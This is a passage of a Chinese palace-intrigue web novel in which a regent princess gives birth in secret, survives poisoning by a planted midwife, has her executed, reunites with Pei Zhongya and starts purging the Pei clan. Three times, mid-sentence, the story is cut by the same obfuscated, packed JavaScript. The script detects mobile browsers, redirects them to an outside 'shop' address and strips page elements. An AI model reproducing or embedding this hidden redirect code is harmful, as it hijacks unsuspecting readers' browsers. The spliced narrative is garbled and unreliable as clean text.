她重重点头:“好!萱萱一定活着回到殿下身边。” 床榻下忽然传来机关轰隆的声音,玉石砖被顶开一道裂缝,陈蕴小蛮与一干彤管使咬着牙将砖头挪开,匆匆跑到我面前:“殿下!我们来了。” 彤管使将广明内殿团团围住,太医稳婆等五人吓得聚成一团,一个稳婆惊叫一声转身就要朝外跑去,被彤管使一刀逼了回来:“回去!擅闯者杀无赦!” 陈蕴萱萱等人将我抱到担架上,几人抬着钻进了密道。太医稳婆也走了下来,瑟瑟发抖地看着彤管使手中的长剑,面色发白。萱萱跪在地上拉着我的手,眼泪啪嗒啪嗒落下来:“殿下……” 陈蕴看我们难舍难分,心一狠,推着众人往前走:“走!” 有时“轰隆”一声,玉石砖合上,地道内不见天日,小蛮掌灯走在最前,陈蕴薛获二人护我左右,其余彤管使挟持着太医稳婆一步步朝出口走去。 地道内静悄悄的。外面不知是下雨还是天晴,不知是在厮杀还是在对峙。这里隔绝了一切,仿佛永不流动的静河,让人觉得庆幸却又心慌。 剧痛再次袭来,我忍住惊呼,急切地抓住了一个柔软又冰凉的东西,抬头一瞧,竟是陈蕴的手臂已经被我抓出了五指血痕,可她却一声不吭。 她察觉到了我,低头按住我的手:“我没事殿下,您可以继续抓着我。我们马上就到了。” 冗长又幽暗的地道们,只有众人的脚步声与呼吸声,后路已断,前路不明,等待我们的或许是平静安全的宫殿,也可能是瓮中捉鳖的敌人。 在这里,我改变不了一切,只能交给命运。 眼前忽现一点光明,小蛮大松一口气,却有不敢放松警惕。她抬手制止我们,吹灭灯笼,独自一人上前查看。 地道中复又黑暗,只有面前一点光明能够看清一二。她的身影越来越小,好似过了很久很久,眼前的光亮陡然变大,出口处下来几人快速朝我们跑来。 心脏砰砰直跳,彤管使的刀剑横在眼前,闪着细微的冰冷的光。 “殿下。”小蛮扑倒我面前,一口气哽在喉咙终于长长地喘息出去。 “殿下,都准备好了。我们走!” 穿过巷道,我终于被众人抬到了屋内。这是掖庭里普通到再也不能普通的宫室了——是当日与秦澄一起被送入姜旻后宫的彤管使的宫室。 人微言轻,所以分配的宫室偏僻又冷清。不受宠,宦官宫女们都懒怠搭理。大雨拍打着残破的纸糊的窗户,烛火在寒风中摇曳,她们将我抱到榻上,里里外外拿屏风衣裳围了三层,升起柴火,烧着热水。陈蕴小蛮脱了衣裳盖在我身上,薛获推着稳婆上前来,喝道:“快去!” 这些都是从民间接进来的稳婆,哪见过这种阵仗,抖着身子靠近我,连裙子都不敢掀。薛获大恨,将剩下两个稳婆都推到面前:“快看啊你们!” 整个人已经疼得麻木不已,脑子也开始混沌,腹腔陡然一沉,像是所有内脏都纠缠在了一起,气息一哽,喉咙忽然冲上来一股热流,我侧身“哇”地呕了出来,地上一滩黑血,嘴里好似含了冰块,浑身也冰冷无力,直接栽倒在榻上。 “殿下!!!!”不知谁人惊叫一声,我看不清也听不清,整个脑袋仿佛要爆炸,五脏六腑忽冷忽热,整个人都要被揉碎碾碎。 来个人杀了我吧!杀了我!直接对着我的心窝子捅上一刀!一刀没死再来一刀!能有什么比现在更加痛苦?能有什么比现在更加难捱?没有,绝对没有!我宁愿从悬崖上摔下去,摔得粉身碎骨,也不要无处可去无处可逃,只能躺在这榻上煎熬! “殿下……怎么回事……怎么会这样?” “殿下吃了什么东西?” “没吃什么呀!今早吃的都是我们自己人做的,我都尝过了!等等!你给我过来!你给殿下喂的什么?!说!” “没……我没有……” “你……”说话的人顿了顿,“你……你不是我找的稳婆!你是谁!你是怎么混进来的!” “我……我……啊!” “想服毒?!说不说!”什么东西轰然倒地,还有骨头被掰断的声音。 “我……我说……我是裴后找来的人……我……饶了我,饶了我,我是被逼的,我真的是被逼的……你们饶了我吧!饶了我吧!我什么都招了你们就饶了我吧!求求你们!” “你……你给殿下喂得什么!” 胃里又开始抽搐,我浑身使不上力气,只顾得上呕吐。 眼前景象恍恍惚惚,一个身影突然窜到我跟前,托起我的身子就往嘴里灌苦水。 “呜呜呜……”我用舌尖推碗,却又被灌了一大碗。 吐的更厉害了。 “陈相!你这是……” “皂角水,催吐的。如果喝下去还没有多久,吐出来就没事了。”陈蕴冷静的声音拉回我的神思。她低头看了我一眼,将太医喊道跟前:“催产,快!还有你,你们两个,来推殿下的肚子!先帮殿下把孩子生下来!至于你——”她的声音陡然冷下来,“你们看好她,不能让她死了,等殿下醒来再跟你算账!” 太医哆嗦着手拿出针灸在火上烤了烤。头顶一紧,紧接着手臂、虎口、手指,一阵阵落下,一股疼痛的蛮力忽然窜到腹部身下,两个稳婆按着我的肚子缓慢地向下抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988962|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 浑身都湿透了,汗水泪水纠缠在一起,喘息与呼喊在耳边吵闹,不知是谁叫了一声“泱泱”,温柔又坚定——就像是母亲的声音。 “泱泱,坚持住。阿娘知道你一直是个坚强勇敢的孩子,只要是你想做的事情,都能做到都能实现。你是天底下最幸运的人,所有的苦难你都能挺过去,不管是从前、现在,还是未来,你都能熬过去。所以不能停留在这里。不要害怕,相信你自己。阿娘会一直陪在你身边的,阿娘永远陪着你。” “哇——” 是婴儿的啼哭还是雷电的轰鸣,我头昏脑涨,根本分辨不清周身的嘈杂。 什么都不疼了,什么都澄明了,身体轻轻的,软软的。帷幔宫室、熟悉的面孔在眼前越来越清晰,四肢回温,心脏也落回了原处。不想死了,不想跳崖了,也不必再用刀子来捅我。我只想睡觉。 让我睡一觉吧,求求你们了。 “殿下!” 好吧,根本无法如愿。 我艰难地睁开眼睛,一个皱巴巴湿漉漉的肉团突然被送到眼前,我心下一惊:“什么东西!” 薛获微微一愣:“这是您的女儿啊殿下。这是兆华。” 兆华?我侧头看去,红得像苹果,丑得像猴子,这东西竟然是我的兆华?我有些绝望地闭上眼睛:“为什么……这么丑……” 薛获笑了:“孩子刚生下来的时候都是丑丑的,等过几个月长开了,就好看了。” 我姑且信了薛获的话。几人将我的身子擦干净,收拾完床褥,又生了另一盆柴火,将所有的衣裳都该在我和孩子身上。 我将太医招呼到近前:“孩子如何?” “回殿下的话,郡主哭声洪亮,面色红润,是个健康的孩子。” 兆华在我怀里不安分地动来动去,跟在肚子里的时候一模一样。小嘴巴咕咕哝哝,一会儿伸舌头一会儿咬嘴唇,双眼闭着,两只小手抓来抓去,也不知道在干什么。 热热的,软软的,小小的孩子。我生的,我的孩子。 我们用一根脐带相连,十个月,今日终于得见。 我们已经相识良久,可今天确实第一天见你——我的孩子。自此后,我又多了一个血脉相连的亲人,一个不需要任何仪式承认,不需要任何证据证明,不需要任何人认可的,永远不会离开我的亲人。 姜兆华。 我在心中默念着她的名字。 “兆华……兆华……”我喊她,“兆华。我是阿娘。” 兆华仿佛听懂了我的呼唤,缓缓地睁开眼睛,黑曜石一般的眼睛第一次看世界,看见的是我——她的母亲。 太医又给我把了脉,说催吐及时,余毒极浅,不必担忧。雷雨渐渐停息,乌云散去,天边熹微渐起,阳光从天际漏出来万丈光芒。如此安静祥和,昨夜经历的一切仿佛被这场雷雨冲刷干净,从未发生,恍如隔世。 我将目光放到被彤管使压到角落的稳婆,抬了抬下巴:“你,过来。” 53. 第 53 章 稳婆跪坐在地上,彤管使层层叠叠将她围住。她低垂着头,根本不敢直视我。 “裴季蕙流产,是他们的计谋是吗?为的就是把你换到我身边来。” 稳婆语不成句:“是……是……” “秦澄和裴季蕙争吵,是不是在我面前演戏?” 一切都已摆到明面儿上来,稳婆不敢抬头看我也不敢说话。 “他们还在密谋什么?如果我没死成,他们会怎么做?” 稳婆吓得连连磕头:“殿下……殿下您饶了我吧,我真的是逼不得已……我真的是……” “哼。”我冷笑一声,“但你不是有胆子做这件事情吗?你难道不曾想过事成之后你会有什么样的回报和利益?你难道没有想过裴家给你荣华富贵和高官厚禄?你什么都想过,你想着舍不得孩子套不着狼,这样豁出去拼一次,成了便是王侯将相,值得的很。你如今说自己是被逼的,不过是失败了,想活命罢了。” “我……我……” “杀了。” “殿下!殿下不要啊!求殿下饶了我吧!我真的是被逼无奈的殿下!” 我伸手用襁褓盖住了兆华的脸:“饶了你?要我们娘儿俩命的时候,你可曾想过饶了我们?” “殿下——”话语哽在稳婆的喉间,鲜血如泉水一般从她的喉咙里汩汩涌出。另外两个稳婆面色煞白,瞬间跪坐在地上,眼泪无声而下,看着我想说什么却发不出声音。太医仍旧站立在一旁,低眉顺眼,仿若未见。 “怕什么。”我不悦,“你们听话我自然不会杀你们,还是说……你们也有弑君的心思?” “没有,殿下我们绝对没有啊!” “你们——”话未完,只听屋外木门破裂,兵戈相向之声。彤管使立即分开列阵,在门前站成三重,纷纷拔剑起势。刀光剑影犹如闪电凛凛,一道鲜血突然斜着喷溅在门板上。所有人呼吸一凝,等待着屋外之人破门而入的那一瞬间。 短刃相接,越来越近了。 两道黑影出现在门板上,仿佛窥伺着屋内的一切。 我紧紧地抱住兆华,将她护在我的身下。她刚出生,难倒就要死在她来到人间的第一日吗? 我不要。我要她健健康康无忧无虑地长大,我要她平安,要她拥有世间所有的爱。而不是死在这样的漆黑无忘的雨夜,无法反抗,无法挣扎,只能任由敌人将她杀死在榻前,在她母亲面前。 薛获陈蕴小蛮将我们紧紧围住,目光一瞬不瞬地盯着屋外。 “扣扣扣”。 出人意料,我们的门不是被冲开的,也不是被踢开的,而是像寻常人家小心翼翼问路一般被扣响。 我从惊惧不安中抬起脸,屋外的人再一次敲门。 “殿下?”一彤管使转头看向我。 霎时,胸中好像有什么东西喷薄而出,一个荒谬又坚定的想法在我脑海中好无理由地扎了根一般。我的心,我的手都不受控制了,鬼使神差地望着那扇门,那扇门外的人。 是他吗?会是他吗? “啊呜……”兆华在我怀里呓语,眼睛转向屋外,懵懂地看着。 “开门。” 众人看向我,似乎在确定我是否真的说了话。 “开门。”我再次说道。 我就堵这一次,我愿意赌这一次。 彤管使拿着剑,小心地踩着步子抹上门栓。屋内的空气凝滞到了极点,所有人都屏息以待,等待重生或是死亡。 门打开了一条缝,外头的人突然推门而入,我一把抱紧怀中的兆华,看清来人,心脏猛地被重击,呼吸霎时停滞,耳边轰鸣,再也听不见任何声音,也看不见任何人。 裴仲琊。 是他,真的是他。 他怎么回来了?他真的回来了。他真的出现在了我眼前,我们真的……还能再次相见。 宋君若杀完最后的北军,几步跑到门前。宋君若一把挤开裴仲琊,甚至来不及抹去面上的鲜血,冲到我面前左瞧右看:“姐姐,你有没有怎么样?有没有受伤?你疼不疼?兆华呢?兆华都好吗?” 他在我身边问东问西忙着忙那,可我什么回答的话语都说不出口。酸涩凝噎在喉间,一松动,就将化作眼泪奔涌而出。我连忙低下头,将脸深深地埋在孩子的襁褓间。孩子温热的身躯、腥甜的气息熨帖着我,萦绕着我。一只手缓缓地放在了我背上,又抚上我的脖颈,细细摩挲着。 我紧咬着牙关,蹭去脸上泪痕,深呼吸,努力平复了自己的情绪,冷着脸抬起头。可一切的伪装与克制,在再次看见裴仲琊的这张面孔时轰然决堤——他瘦了、沧桑了,雨水淋湿了他的头发衣裳和眼睛。他苍白着嘴唇,眼下乌青,好似虽是都会倒下。 看见他这样,什么都是脆弱的,我在他面前根本无处可藏,他只需要一个眼神、一个动作、一句话语就能让我溃不成军,无所遁形。 “泱泱……”刘勉不知何时从后头冲了上来,他将手上沾了血的剑丢在一边,上上下下将我仔细看了一遍,“你没事……太好了你没事……吓死我了,真是吓死我了……” “表兄?”我疑惑地看着他。 刘勉替我掖了掖被角:“没事了,一切都过去了。叛军已被我们歼灭,光禄勋、秦昭仪、裴后皆已囚禁,陛下……被我们押回了麟趾殿。” 我望向他身后的裴仲琊,刘勉看了裴仲琊一眼,笑道:“是二郎喊我进宫的。深更半夜冒着大雨冲进刘府叫我带上亲卫兵进宫……这本就是不可能的事情。最后我们只好偷偷藏刀,偷了我父亲令牌进宫。进来时,我还想这回肯定死定了,竟然舍命陪君子,陪他闹这荒唐一场。我还问他为什么一定要进宫,他说……” 我看着他,他也望着我们。 刘勉瞧了我们一眼:“还是让他自己说吧。” “先回宫。”宋君若说道,“此地不宜久留。广明殿我已重新部署禁军,萱萱守着,是如今最安全的地方。这里靠近北门,易攻难守,若是裴……若是光禄勋还有后手,我们鏖战一夜筋疲力尽,必定难以招架,恐生变故。先回去再说。” 大家都觉得宋君若说得有道理。薛获拿着被褥衣裳将我紧紧裹住,想要从我手中接过兆华。我抱着兆华摇了摇头。薛获也不强求,转身收拾别的东西去。所有人都在忙碌,只有我坐在榻上,刻意地望着地上某一处——我根本不敢看裴仲琊。 裴仲琊也没有上前,就远远地站在人堆里。我不知道他是不是在看我,我只能感觉到手心的温度正在渐渐回来,因为我出汗了。 小蛮想重新将我抱上担架。我推开她的手:“我能走路。” 宋君若上前来扶着我下地:“姐姐,我打算兵分两路。一队由我带着小蛮和薛大人走大道,还有一队……”他看了看裴仲琊,“由陈相护送你从地道离开。太医和稳婆跟我们走,广明殿汇合。” 刘勉拉上裴仲琊:“我们也走地道。” 回去的路不像来时那般漫长煎熬,几人慢慢地走在地道中,没有人说话。陈蕴在前方掌灯,刘勉紧随其后,裴仲琊则是走在我后方。我只要稍稍一侧头,就能看见他,可我没敢回头。他现在会是什么样的表情呢?他会看着我怀中的兆华吗?他会想抱抱她吗? “你……”身后的裴仲琊突然出声,众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001136|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下脚步,驻足看他。 刘勉问道:“怎么了?” 裴仲琊抿嘴收声,摇了摇头:“无碍。” 我借着微弱的亮光于黑暗中瞧了他一眼。 回去的路不一会儿便走到了底。陈蕴伸手去开机关,却被刘勉挡了回去:“我来。我先出去,二郎你第二个。” 裴仲琊立即上前,跟着刘勉的脚步钻出地道。没过多久,萱萱就钻了下来,她兴奋地喊我:“殿下!” “萱萱!” 萱萱连忙跳下来,要从我手中接过兆华。我缩缩胳膊:“我要自己抱着。” 萱萱连忙笑着放手,一边扶着我上去一边夸赞兆华:“小郡主长得真好看,像殿下。” 我无奈:“真的像吗?我觉得她长得有点丑……” “听说小孩子小时候越丑长大了就越好看。” “你和大长秋老是说这些话哄我……” 萱萱笑道:“父母都这样好看,孩子又会丑到哪里去?” 话音刚落,她脸色陡然一变,立即噤声,颇为抱歉地望向我。 我朝她宽慰地笑了笑,没有责怪的意思。 我重新坐回榻上,一夜生死奔波,多少次鬼门关来来回回,终于尘埃落定,一切归于平静。我望着一切如常的广明殿,心中渐渐生出疲惫与后怕来。我素来觉得自己是个坚强果断无畏的人,可这世间确实还有更加庞大、更加失控的东西。 而我挺了过去。 这是天意,也是我命本该如此。 我知道。 宋君若一行人也在我们落定后赶到,他前后左右四下巡视一周,确保广明殿真的万无一失后,才敢松一口气。 他看着我,裴仲琊也看着我。 陈蕴招呼众人:“萱萱你去外头守着,薛大人您和小蛮一起去小厨房。刘大人,您也快去请令尊进宫吧。天要亮了。” 人群散去,殿中又复安宁。 裴仲琊从开始到现在都一声不吭,就沉默地站在榻尾,垂眸看着我和孩子。 宋君若瞧了他一眼,轻嗤一声,也没有说话。 千言万语,百转千回。我有好多事情想要问他。问他怎么回来的?路上辛苦吗?为什么连夜进宫?又是怎么和阿若汇合来救我的?他为什么要救我?他又如何向裴开项交代?他想抱抱……这个孩子吗? “啊!”兆华睡醒了,睁开眼睛,开始张着嘴巴叫唤,“啊!哒!唔!” 我低头瞧了孩子一眼,又抬头看向裴仲琊。 “你……你抱抱她吧。”我松开双臂,哽咽着对他说出第一句话,“我……我想你抱抱她。” 裴仲琊好像倒了一口气,神色有一瞬的怔忪。他移动着步子,在榻边缓缓坐下。宋君若盯着他,面色不霁。 冰冷的双手,瘦削的双臂,他生涩地接过兆华,小心翼翼地抱在怀中。兆华瞪着乌溜溜的大眼睛,懵懂地看着他。 良久,裴仲琊突然笑出了声,一滴清泪落在了兆华的襁褓之上。他抬起水雾般的眼睛看着我,嗫嚅着嘴唇,想说些什么,却又没有决心和信心,又低下头去。 我听见轻轻的、犹疑的声音:“这孩子……她、她……” 心脏猛然抽紧,浓烈的情绪奔涌而至——告诉他吧姜毓卿,告诉他!告诉他又能怎样呢?我们都是红尘俗世中的可怜人,告诉他,让我们彼此有个念想牵绊又能如何呢! 可是不可以啊,不可以姜毓卿。 不能说。 我挪动身子,凑近裴仲琊,抚上兆华的脸颊,咬着牙,笑了一下:“这孩子能生下来,田议这个父亲也算是死得其所了。” 54. 第 54 章 我看见裴仲琊的脸色瞬间变得灰白,眼睛里的光芒暗淡下去,整个人恍若被抽空一般。他眉头一拧,立即放下孩子冲到外间咳嗽起来。 我连忙下榻跑出去,宋君若紧随其后将我抓住。我远远地看着裴仲琊,他弓身撑在几案上,右手捂着嘴,脊背因为咳嗽而频繁震动,鲜血从他的指缝滴落,在地上洇成一滩暗红色的水洼。 我浑身发抖,冲过去扶住他:“二哥……” 冰凉的、沾满了鲜血的手将我的手腕一把抓住,他猩红的眼睛望着我,是不解、是质疑、是委屈和痛苦。泪水隐忍在眼中,他没有说一句话。可我却读懂了他眼中的意思。 是我一直在逼他。我太狠了,也太残忍了,竟对他说出这样的话。他千里迢迢,不顾一切生死进宫,我却对他说出那样的话。在广明殿外围剿我的是他的堂妹,被禁军与彤管使生擒的也是他的堂妹。可他却选择了跑去偏僻幽暗的掖庭救我,我却这样对他。 “我……”我不知道我要说什么,该说什么,我只知道现在的我想要留住他,想要安慰他。我不想看见他这个样子。嘴唇嗫嚅,心中犹疑,我心一横刚要说话,屋外便有人急急忙忙冲进来,一看裴仲琊也在,立即闭了嘴。 “殿下……”来人看看裴仲琊又看看我,低眉顺眼,脸色仓惶。 “怎么了?” 宦官摇摇头,没敢说。我心中顿觉不妙。 宋君若适时走过来:“裴御史身体不适,你们赶紧将他带去诊治。殿下刚生产完,身体虚弱,也别叫底下的人来叨扰。” 宦官应声连忙要将裴仲琊扶下去。“等下!”我喊道。 宦官一吓,站住了脚步。宋君若紧紧攥住我的手腕:“姐姐。裴御史素来体弱多病,连日赶路舟车劳顿还是让他先下去休息治疗吧。等一切都安定了,再见面不迟。”他环住我的腰,将我往内殿带,“你也好好休息。我会命人照顾好裴御史的。” “阿若。”我喊了一声他的名字,“你不要这样。” 宋君若闻言顿住脚步,面颊紧绷,看都不敢看我一眼。我从他怀里挣出,缓缓走到裴仲琊面前,抚上他的面颊。我想让他好好休息,好好治病,放在身外之事做一个逍遥世间闲散客——他已经经不起再一次的风雨摧残了。可这可能吗?要杀我的人是他的亲人,被杀的人是他的爱人,他能怎么办?我能让他怎么办? 简直就像黄鼠狼给鸡拜年。 我想劝他做的事,想对他说的话,都没用了。 说与不说,已然毫无分别。 “你们……照顾好裴御史。我……”我看向裴仲琊,如鲠在喉,什么话都说不出来,“我……” 他的眼睛一瞬不瞬地望着我,他还对我抱有期待,他还心存侥幸。 我的心都碎了。 一定是我失了智、丢了魂,我才会在那么多人面前去抱住他。侍女们纷纷低下头,好似多看一眼,我就要看他们的脑袋。他的脊骨更加嶙峋,身子更加轻了,靠在我身上犹如一阵轻轻的风,下一刻就会被吹散,消失在我面前。 他微凉的呼吸打在我的颈窝,脆弱又小心,双手虚虚地抓着我的衣角,发着细微的抖。 他那么轻,我却推不开他。 仿佛是过了很久,不知何人轻咳一声。我们如梦初醒,刘些和刘勉站在外头,一个严肃一个尴尬。 刘勉上前扶住裴仲琊,打哈哈:“二郎,听说你身子不适,我带你去太医署,走走走。” 裴仲琊没有说话,脚步也不动,只看着我。 “泱泱。”舅舅喊道,“让裴御史先下去吧。你刚生产完,身子虚弱,要好生休息。等事情都安定下来,你们……你和裴御史有话再说。” 我们被人拉着分开,裴仲琊在众人的搀扶下坐上轿辇离开。我被扶进内殿,侍女们纷纷迎上来,我抓住一个吩咐道:“叫太医署的钱太医为裴御史诊治。” “今日钱太医不当值。” “那就把他叫进来。” 侍女应声退下。刘些刘勉对视一眼,欲言又止。 他们这样的神色我就知道事情不太妙。 “怎么了?” 二人沉默一瞬,还是刘些上前说道:“裴季蕙畏罪自杀,被救下来了,说要见你。” “见我?”我笑道,“知道我没死,心有不甘是吧?不见。就由着她闹吧,还能翻了天不成?” 比起裴季蕙,现在更要解决的是她的父亲,他们裴家的人。 我的命实在是太大了——一个生产的女子,孩子能拖死我,稳婆能毒死我,叛军能杀了我,但我都熬过来。我非但没死,还拥有了自己的孩子,还有了将所有人拉下台的借口。 真是老天助我!老天助我! 案牍在烛光下静静地躺在我的面前,现在,就是现在,不管我写下谁的名字,他都得死。 宋君若从大牢里回来,带来了光禄勋的消息。他看着我坐在几案前,上来拿走我的笔:“姐姐,你已经坐在这儿很久了。” “秦修扬说了什么?” “他说是陛下让他们这么做的。说殿下把持朝政久矣,他们是为了替陛下‘清君侧’。” “清君侧……多好的借口啊,裴开项可以借着这个理由爬上现在的位置,五王可以因此叛乱,现在真是谁都可以用这句话了。”我看向宋君若,“阿若,你想不想当光禄勋?” 宋君若眸光一闪,惊讶又期待地看着我。 “想当,姐姐就给你当。” “我想。”宋君若露出志在必得的笑容,直言不讳,“我要光禄勋。” 秦、修、扬。 我在案牍上写下这三个字。 “这件事的幕后主使是谁你我都知道,他们有什么样的企图我们也知道,不过是借了姜旻这个绝对正确又冠冕堂皇得幌子来行自己的苟且之事。但朝中如今支持姜旻的仍旧不少,刀子动太大,反倒伤了自己。” 秦澄、裴季蕙、裴开岫…… 我写完收笔,将案牍递给宋君若,往凭几上一靠:“陛下年幼,为奸人所惑谋害胞姐。本宫感念姐弟情深,不忍看陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050298|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一错再错、荒唐行事。裴后入宫无德无仪、无形无状、无孝无节,不御后宫,媚上挑唆,谋逆弑君。本宫遂替陛下清理后宫、平诸事安定,以儆效尤。” 宋君若仔细看了上头的名字,抬眼看我:“裴开项那边……?” “他自己人没把事情办妥,我杀他们还要跟他商量吗?可惜了宁国公为国为民尽责尽忠,奈何偏亲偏信,目不明辨,致使家中蠹虫遍地,生此歹事。郡主方才降生,本宫也不愿大动干戈,宁国公歇朝思过,至于裴开岫……三服以内的亲属该砍头的砍头,该流放的流放吧。” 裴开项和裴开岫听着名字多亲近啊,但是至于是不是真的亲近,那当真是得另说。裴氏在开国之初不过是高祖帝的帐前执戟郎中,跟着我祖宗走南闯北就是没打过几次仗。有时候不得不将选择比能力更重要,裴氏先祖在投奔高祖帝的第二年,高祖帝就建国称帝了,大封天下,他没有功劳也有苦劳。高祖帝给了裴氏一个不大不小的官。 前朝多少腥风血雨,有的氏族起高楼,有的氏族落尘埃,起起伏伏,浮浮沉沉,裴氏就这样在不起眼的朝局角落里积蓄起了自己的力量。直到某一天,众人回头一看,忽然发现齐国政坛上竟然还有这一号人物啊,开国大臣、几代世家、书香清流,甚至还出了一个文采顶顶好的大司寇——便是裴开岫的父亲裴梁。那是裴氏百年来,做过的最高的官了。 凡是盛极必衰,裴梁总觉得裴氏的风光与巅峰要来了。但是裴氏似乎并没有给他这样的惊喜,它好像没有预想中的巅峰与荣光,就要往下倒了——三个儿子,无一有用。老大嗜酒,最后死在醉梦中;老二好色,最后死在女人身上;老三裴开岫,有了前车之鉴,裴梁对他严苛又谨慎,是以孩子老老实实本本分分,却太过平庸无能。 “裴家到头了。”或许当时的裴梁在千百个午夜梦回时都曾想过这句话。 有什么办法能让这个百年的氏族屹立不倒呢? 裴氏老家琅琊出了个江湖游侠裴开项。 彼时的裴开项背井离乡,离开了自己从小生活的小村落,不种田不读书,就天天走街串巷结识豪杰,为乡里人所不齿。其恶名远扬,就连已为几代长安人的裴梁都有所耳闻。 可世间因缘际会如此巧妙,久不回乡的裴梁因感念自己年事已高,前程不再,愧对祖先,回乡省亲,而年仅十几的裴开项刚被父亲耳提面命地从外头捉回来。裴梁突遇山匪,一介文官险些命丧黄泉,是裴开项救了他——那山匪竟是他朋友,不过是裴开项几句话的事情,山匪就将裴梁与其财产尽数放归。 裴梁这才发现此人与传言中大有不同——他不种田不读书,但是他真有能耐。 裴开项就此被带回了裴氏本家。 他代替了本该属于裴开岫的一切。或者说,这本来就是属于裴开项的。若非他,他们裴氏早已落寞,裴开岫也成不了国丈。 但到底这样偷来的本不属于自己的运数总有一日要还回去。没有那命,却总是抗命做着春秋大梦,那此前享过的福也总是要付出代价的。